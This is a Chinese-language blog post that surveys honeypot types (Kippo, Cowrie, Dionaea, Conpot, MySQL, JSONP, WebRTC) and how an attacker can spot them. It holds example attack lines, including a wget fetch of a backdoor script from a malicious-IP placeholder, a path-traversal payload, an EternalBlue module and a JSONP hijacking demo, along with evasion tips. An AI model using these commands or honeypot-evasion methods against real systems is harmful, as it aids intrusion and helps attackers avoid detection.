浅识蜜罐
浅识蜜罐
蜜罐是什么?
蜜罐蜜罐,从名字上来看就像是一个盛有蜂蜜的罐子,吸引着他人来吃蜜,进来吃蜜了就掉进了陷阱。本质上就是一个设计好的陷阱。放在网安方面来说其实是一种主动防御技术,通过主动的暴露一些漏洞、设置一些诱饵来引诱攻击者进行攻击,从而可以对攻击行为进行捕获和分析。
常见的蜜罐
低交互蜜罐(Low-Interaction Honeypot)
Honeyd
功能:模拟多种服务(如HTTP、SSH、Telnet),可自定义响应规则。
攻击案例:攻击者扫描到一台开放22端口(SSH)的主机,尝试用常见弱密码(如admin:admin)登录,发现登录成功但执行ls
命令后返回空目录,且无法上传文件。
判断方法:使用nc
连接端口后发送随机数据,观察是否返回固定Banner(如”SSH-2.0-Honeyd”)。
执行uname -a
命令,蜜罐可能返回伪造的系统信息(如内核版本与真实系统矛盾)。
Kippo
功能:模拟SSH服务,记录暴力破解和攻击者输入的Shell命令。
攻击案例:攻击者通过SSH连接后尝试执行wget http://恶意IP/backdoor.sh
,蜜罐会记录该操作但实际不会下载文件。
判断方法:检查网络流量:蜜罐的SSH会话可能没有真实外联流量(如下载文件或连接C2服务器)。
执行df -h
查看磁盘空间,若显示固定值(如始终为50G/100G)可能是伪造数据。
高交互蜜罐(High-Interaction Honeypot)
Honeynet
功能:由真实虚拟机组成的网络(如Windows + Linux),模拟企业内网,甚至包含数据库和Web服务器。
*攻击案例**:攻击者入侵一台Web服务器后,尝试内网渗透,使用nmap -sn 192.168.1.0/24
扫描,发现所有IP均存活且开放端口,可能触发蜜罐告警。
判断方法:
检测虚拟机特征:使用dmidecode
(Linux)或systeminfo
(Windows)查看硬件信息,若显示供应商为VirtualBox/VMware。观察时间同步:蜜罐时间可能与NTP服务器不同步(如时区设置为UTC)。
Cowrie
功能:模拟SSH和Telnet,提供虚假文件系统(如/etc/passwd
含蜜罐用户)。
攻击案例:攻击者上传恶意脚本后尝试提权,执行sudo su
时蜜罐返回”Permission denied”,但真实系统可能允许特定用户提权。
判断方法:
检查进程列表:执行ps aux
,若缺少常见进程(如cron、nginx)可能为蜜罐。
尝试创建文件:touch /tmp/test
,若重启后文件消失,说明处于临时文件系统。
中交互蜜罐(Medium-Interaction Honeypot)
Dionaea
功能:模拟SMB、HTTP等协议,捕获漏洞利用(如永恒之蓝)的Payload。
攻击案例:攻击者使用Metasploit的exploit/windows/smb/ms17_010_eternalblue
攻击蜜罐,蜜罐会记录攻击但不会真正被攻破。
判断方法:
发送SMB协议的非标准请求(如无效的NT Create AndX命令),真实系统可能返回错误,蜜罐可能无响应或响应格式错误。
检查445端口的服务指纹:使用Nmap脚本nmap -p445 --script smb-os-discovery
,若OS信息为空或异常。
Conpot
功能:模拟工控系统(如Modbus、SNMP),诱捕针对PLC设备的攻击。
攻击案例:攻击者发送Modbus协议指令读取寄存器数据,蜜罐返回伪造的传感器数值(如温度恒定为25°C)。
判断方法:发送超出范围的寄存器读取请求(如地址0xFFFF),真实设备返回错误码,蜜罐可能返回成功但数据无效。
检测响应延迟:工控设备响应通常为毫秒级,蜜罐可能延迟较高(如100ms以上)。
数据库蜜罐(Database Honeypot)
基础的原理是:mysql中有一个load data local infile函数能够读取本地文件到mysql数据库中
利用这个思路,MYSQL蜜罐诞生了一个攻击反制手段:只要渗透测试人员尝试连接该mysql蜜罐,就可以被蜜罐读取到本地配置文件,甚至不需要提供正确的用户名密码
最明显的就是23年西湖论剑的only_sql用到了https://github.com/allyshka/Rogue-MySql-Server
ElasticPot
功能:模拟Elasticsearch服务,检测勒索攻击(如删除索引或加密数据)。
攻击案例:攻击者发送DELETE /index
请求,蜜罐记录该操作并返回虚假成功响应,但数据未被删除。
判断方法:
检查集群状态:执行GET /_cluster/health
,若节点数固定为1且无分片变化。
插入测试数据:POST /test/_doc { "data": "test" }
,再次查询若数据不存在则为蜜罐。
MongoDB-HoneyProxy
功能:记录未授权访问和恶意查询(如db.dropDatabase()
)。
攻击案例:攻击者连接MongoDB后执行show dbs
,蜜罐返回少量数据库(如”admin”, “fake_logs”)。
判断方法:
执行耗时操作:
db.stats()
在真实库返回详细数据,蜜罐可能返回简化信息。检查版本号:
db.version()
若版本为非常见版本(如3.6.1-honey)可判定为蜜罐。
WEB蜜罐
Glastopf
功能:模拟PHP漏洞(如文件包含、远程代码执行),记录攻击Payload。
攻击案例:攻击者尝试利用/index.php?page=../../../etc/passwd
读取文件,蜜罐返回伪造的passwd内容。
判断方法:
发送非法参数:如/index.php?page=non_existent_file
,真实应用返回404,蜜罐可能返回200。
检查Cookie:蜜罐可能设置异常Cookie(如honeypot=1
)。
WebLabyrinth
功能:生成虚假路径(如/admin/login.php)混淆攻击者。
攻击案例:攻击者扫描到/wp-login.php
页面,尝试爆破密码,但蜜罐记录所有尝试并返回”Invalid password”。
判断方法:
检查页面一致性:多次访问同一URL,蜜罐可能返回动态变化的页面内容。
使用Wappalyzer检测技术栈:若显示服务器为”Unknown”或矛盾的技术组合(如Nginx + ASP.NET)。
jsonp蜜罐
利用了jsonp劫持的原理
jsonp跨域
jsonp是什么就不多解释了,这里用一个小demo讲讲什么是jsonp跨域:
- 现在有一个用于jsonp的接口
http://q1ngchuan.top/user?callback=
,请求后会返回当前已登陆用户信息 - 现在构造一个页面:
1 | <script type="text/javascript"> |
用户访问之后会解析js,发送请求:http://q1ngchuan.top/user?callback=hackuser
网站B接收到请求后,解析请求的URL,以JSON 格式生成请求需要的数据,将封装的包含用户信息的JSON数据作为回调函数的参数返回给浏览器,比如:
1 | hackuser({"id":1,"name":"aaa","email":"aaa@test.com"}) |
这里就很明显会触发回调函数hackuser,将当前用户数据alert出来
举个例子
一部分蜜罐会在资源中加载/js/portrait.js
:
我在使用fofa语法body="/js/portrait.js" && country="CN"
进行搜索后找到一个看似后台的网页:
可以看到:QQ、搜狗、新浪、搜狐等的网站都有被请求,再仔细看看这些请求包:
并且这里的jsonp回调函数格式都是jsonp_callback_
+某字符串,看看/js/portrait.js
:
xss-WebRTC获取IP
WebRTC是一个很老的技术,但是很少有人关注,现代浏览器基本都支持并默认开启,如果未曾关闭,则可能会暴露你的真实IP,即使你开的是全局代理
可以使用这个网站进行检测https://ip8.com/webrtc-test,
而上面这个技术仅通过javascript代码即可实现,这些js代码可能会被插入到网站中进行XSS利用
下面给出一段测试代码:
1 | <!DOCTYPE html> |
总结
蜜罐的形式很多很多,上面只是一小部分,况且蜜罐的判断还是比较繁琐的,如果花时间去识别蜜罐感觉还不如直接去虚拟机去攻击,切记虚拟机不要有个人信息!